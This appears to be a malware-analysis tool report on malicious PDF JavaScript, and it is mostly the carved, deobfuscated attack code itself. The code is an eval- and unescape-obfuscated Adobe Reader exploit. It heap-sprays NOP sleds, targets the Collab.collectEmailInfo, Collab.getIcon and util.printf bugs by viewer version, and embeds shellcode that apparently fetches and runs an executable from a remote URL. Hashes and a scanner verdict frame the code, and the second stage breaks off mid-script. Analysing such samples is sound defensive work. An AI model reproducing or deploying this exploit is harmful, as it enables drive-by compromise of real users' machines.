TMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQyJTRhJTQ4JTRmJTMyJTY5JTRjJTQ4JTUzJTMyJTM4JTIwJTNkJTIwJTRiJTM1JTYzJTZhJTY3JTYxJTM2JTVhJTMxJTc1JTc3JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc0JTM2JTQyJTMxJTM3JTQxJTcyJTM2JTY3JTcwJTU2JTIwJTNkJTIwJTUzJTM3JTZiJTM5JTYxJTQzJTRkJTcwJTdhJTMwJTUzJTIwJTJkJTIwJTI4JTQyJTRhJTQ4JTRmJTMyJTY5JTRjJTQ4JTUzJTMyJTM4JTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTIwJTNkJTIwJTY4JTdhJTUwJTVhJTY4JTY4JTY3JTc1JTU5JTMxJTM5JTI4JTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTJjJTIwJTc0JTM2JTQyJTMxJTM3JTQxJTcyJTM2JTY3JTcwJTU2JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc2JTRjJTY2JTYxJTQxJTRmJTZlJTMwJTRiJTQ3JTZlJTIwJTNkJTIwJTI4JTc2JTU4JTM4JTM1JTM5JTUzJTQ5JTc5JTc5JTRmJTQ2JTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JTIwJTJmJTIwJTUzJTM3JTZiJTM5JTYxJTQzJTRkJTcwJTdhJTMwJTUzJTNiJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTYzJTVhJTMwJTQ2JTc0JTM5JTQ3JTUzJTUzJTQ5JTdhJTIwJTNkJTIwJTMwJTNiJTIwJTYzJTVhJTMwJTQ2JTc0JTM5JTQ3JTUzJTUzJTQ5JTdhJTIwJTNjJTIwJTc2JTRjJTY2JTYxJTQxJTRmJTZlJTMwJTRiJTQ3JTZlJTNiJTIwJTYzJTVhJTMwJTQ2JTc0JTM5JTQ3JTUzJTUzJTQ5JTdhJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQyJTU5JTUyJTZhJTQ4JTc1JTc2JTQ3JTU3JTMxJTMyJTViJTYzJTVhJTMwJTQ2JTc0JTM5JTQ3JTUzJTUzJTQ5JTdhJTVkJTIwJTNkJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTIwJTJiJTIwJTRiJTM1JTYzJTZhJTY3JTYxJTM2JTVhJTMxJTc1JTc3JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTc1JTMyJTY0JTM0JTM4JTMxJTc1JTZkJTZiJTVhJTRiJTI4JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU5JTc3JTYyJTcwJTY1JTczJTRkJTVhJTQ0JTYxJTc1JTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTUwJTY2JTcyJTcwJTM3JTRjJTQ4JTM2JTYzJTU0JTZjJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZiJTdhJTQ2JTY1JTUzJTc1JTY3JTc4JTUzJTUwJTc5JTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUwJTY4JTYzJTM5JTRlJTY2JTU1JTZmJTU2JTc3JTZiJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTUwJTY4JTYzJTM5JTRlJTY2JTU1JTZmJTU2JTc3JTZiJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTUwJTY4JTYzJTM5JTRlJTY2JTU1JTZmJTU2JTc3JTZiJTIwJTJiJTNkJTIwJTUwJTY4JTYzJTM5JTRlJTY2JTU1JTZmJTU2JTc3JTZiJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRlJTU1JTQ5JTZhJTRkJTZlJTc3JTY2JTc5JTY5JTRmJTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTYyJTYzJTQ4JTQ4JTRlJTM0JTQxJTM2JTQ3JTQyJTUwJTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRlJTU1JTQ5JTZhJTRkJTZlJTc3JTY2JTc5JTY5JTRmJTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTYyJTYzJTQ4JTQ4JTRlJTM0JTQxJTM2JTQ3JTQyJTUwJTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTUwJTY4JTYzJTM5JTRlJTY2JTU1JTZmJTU2JTc3JTZiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZiJTdhJTQ2JTY1JTUzJTc1JTY3JTc4JTUzJTUwJTc5JTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTIwJTJiJTNkJTIwJTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ3JTQzJTQ4JTY3JTc5JTU1JTZiJTU3JTU4JTQzJTY4JTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ3JTQzJTQ4JTY3JTc5JTU1JTZiJTU3JTU4JTQzJTY4JTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTU1JTQ3JTRmJTc5JTUzJTM2JTU0JTY2JTY0JTZmJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU5JTc3JTYyJTcwJTY1JTczJTRkJTVhJTQ0JTYxJTc1JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU5JTc3JTYyJTcwJTY1JTczJTRkJTVhJTQ0JTYxJTc1JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU5JTc3JTYyJTcwJTY1JTczJTRkJTVhJTQ0JTYxJTc1JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTU5JTc3JTYyJTcwJTY1JTczJTRkJTVhJTQ0JTYxJTc1JTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTQzJTZlJTU4JTM5JTcxJTYxJTRkJTU2JTM1JTc3JTQ4JTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZiJTdhJTQ2JTY1JTUzJTc1JTY3JTc4JTUzJTUwJTc5JTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU2JTQ5JTc0JTQ3JTcyJTVhJTY4JTU5JTU1JTQ1JTM2JTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTRlJTcxJTc2JTM1JTU5JTU5JTc2JTMzJTUxJTc5JTMwJTIwJTNkJTIwJTMwJTNiJTIwJTRlJTcxJTc2JTM1JTU5JTU5JTc2JTMzJTUxJTc5JTMwJTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTRlJTcxJTc2JTM1JTU5JTU5JTc2JTMzJTUxJTc5JTMwJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU2JTQ5JTc0JTQ3JTcyJTVhJTY4JTU5JTU1JTQ1JTM2JTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRjJTM5JTMxJTQ1JTM5JTQ2JTUyJTYzJTc0JTY2JTZiJTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRjJTM5JTMxJTQ1JTM5JTQ2JTUyJTYzJTc0JTY2JTZiJTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTU2JTQ5JTc0JTQ3JTcyJTVhJTY4JTU5JTU1JTQ1JTM2JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwJTIwIikpOyANCiBhcHAuS2N1cTNNR0ZFWmUgPSB1MmQ0ODF1bWtaSzsNCiBQZnJwN0xINmNUbCA9IGFwcC5zZXRUaW1lT3V0KCJhcHAuS2N1cTNNR0ZFWmUoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5378 bytes
SHA-256: bd2a270b8ed1b5da6837b307a445f6f75c939d6ffbacf10fe822ad7cb714e288
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var BYRjHuvGW12 = new Array();
 var Pfrp7LH6cTl;
 var lave = eval;
  lave(unescape("   function hzPZhhguY19(WDPSLpP7iJt, t6B17Ar6gpV)   {     while(WDPSLpP7iJt.length * 2 < t6B17Ar6gpV)     {       WDPSLpP7iJt += WDPSLpP7iJt;     }     WDPSLpP7iJt = WDPSLpP7iJt.substring(0, t6B17Ar6gpV / 2);     return WDPSLpP7iJt;   }  "));  lave(unescape("    function kzFeSugxSPy(JuOVrU758z0)   {     if(JuOVrU758z0 == 0)     {       var vX859SIyyOF = 0x0c0c0c0c;       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(JuOVrU758z0 == 1)     {       vX859SIyyOF = 0x30303030;       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(JuOVrU758z0 == 2)     {       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     var S7k9aCMpz0S = 0x400000;     var BJHO2iLHS28 = K5cjga6Z1uw.length * 2;     var t6B17Ar6gpV = S7k9aCMpz0S - (BJHO2iLHS28 + 0x38);     var WDPSLpP7iJt = unescape("%u9090%u9090");     WDPSLpP7iJt = hzPZhhguY19(WDPSLpP7iJt, t6B17Ar6gpV);     var vLfaAOn0KGn = (vX859SIyyOF - 0x400000) / S7k9aCMpz0S;     for(var cZ0Ft9GSSIz = 0; cZ0Ft9GSSIz < vLfaAOn0KGn; cZ0Ft9GSSIz++)     {       BYRjHuvGW12[cZ0Ft9GSSIz] = WDPSLpP7iJt + K5cjga6Z1uw;     }   }  "));  lave(unescape("   function u2d481umkZK()   {     var YwbpesMZDau = 0;     var CnX9qaMV5wH = app.viewerVersion.toString();     app.clearTimeOut(Pfrp7LH6cTl);     if((CnX9qaMV5wH >= 8 && CnX9qaMV5wH < 8.102) || CnX9qaMV5wH < 7.1)     {       kzFeSugxSPy(0);       var Phc9NfUoVwk = unescape("%u0c0c%u0c0c");       while(Phc9NfUoVwk.length < 44952) Phc9NfUoVwk += Phc9NfUoVwk;       var NUIjMnwfyiO = this;       var bcHHN4A6GBP = Collab;       NUIjMnwfyiO["collabStore"] = bcHHN4A6GBP["collectEmailInfo"](       {         subj : "", msg : Phc9NfUoVwk       }       );     }     if((CnX9qaMV5wH >= 8.102 && CnX9qaMV5wH < 8.104) || (CnX9qaMV5wH >= 9 && CnX9qaMV5wH < 9.1) || CnX9qaMV5wH <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           kzFeSugxSPy(2);           var UGOyS6Tfdo8 = unescape("%09");           while(UGOyS6Tfdo8.length < 0x4000)           {             UGOyS6Tfdo8 += UGOyS6Tfdo8;           }           UGOyS6Tfdo8 = "N." + UGOyS6Tfdo8;           var GCHgyUkWXCh = app;           GCHgyUkWXCh["doc"]["Collab"]["getIcon"](UGOyS6Tfdo8);           YwbpesMZDau = 1;         }         else         {           YwbpesMZDau = 1;         }       }       catch(e)       {         YwbpesMZDau = 1;       }       if(YwbpesMZDau == 1)       {         if(CnX9qaMV5wH == 8.102 || CnX9qaMV5wH == 7.1)         {           kzFeSugxSPy(1);           var VItGrZhYUE6 = "12999999999999999999";           for(Nqv5YYv3Qy0 = 0; Nqv5YYv3Qy0 < 276; Nqv5YYv3Qy0++)           {             VItGrZhYUE6 += "8";           }           var L91E9FRctfk = util;           L91E9FRctfk["printf"]("%45000f", VItGrZhYUE6);         }       }     }  }  ")); 
 app.Kcuq3MGFEZe = u2d481umkZK;
 Pfrp7LH6cTl = app.setTimeOut("app.Kcuq3MGFEZe()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5374 bytes
SHA-256: 0a7b5cd8fa85e9674fafb54ad100f7fd5b9a78febdd6ab69be8a524da1492604
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var BYRjHuvGW12 = new Array();
 var Pfrp7LH6cTl;
 var lave = eval;
  lave(unescape("   function hzPZhhguY19(WDPSLpP7iJt, t6B17Ar6gpV)   {     while(WDPSLpP7iJt.length * 2 < t6B17Ar6gpV)     {       WDPSLpP7iJt += WDPSLpP7iJt;     }     WDPSLpP7iJt = WDPSLpP7iJt.substring(0, t6B17Ar6gpV / 2);     return WDPSLpP7iJt;   }  "));  lave(unescape("    function kzFeSugxSPy(JuOVrU758z0)   {     if(JuOVrU758z0 == 0)     {       var vX859SIyyOF = 0x0c0c0c0c;       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(JuOVrU758z0 == 1)     {       vX859SIyyOF = 0x30303030;       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(JuOVrU758z0 == 2)     {       var K5cjga6Z1uw =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u756F%u746E%u7265%u7473%u7461%u2E73%u6E63%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     var S7k9aCMpz0S = 0x400000;     var BJHO2iLHS28 = 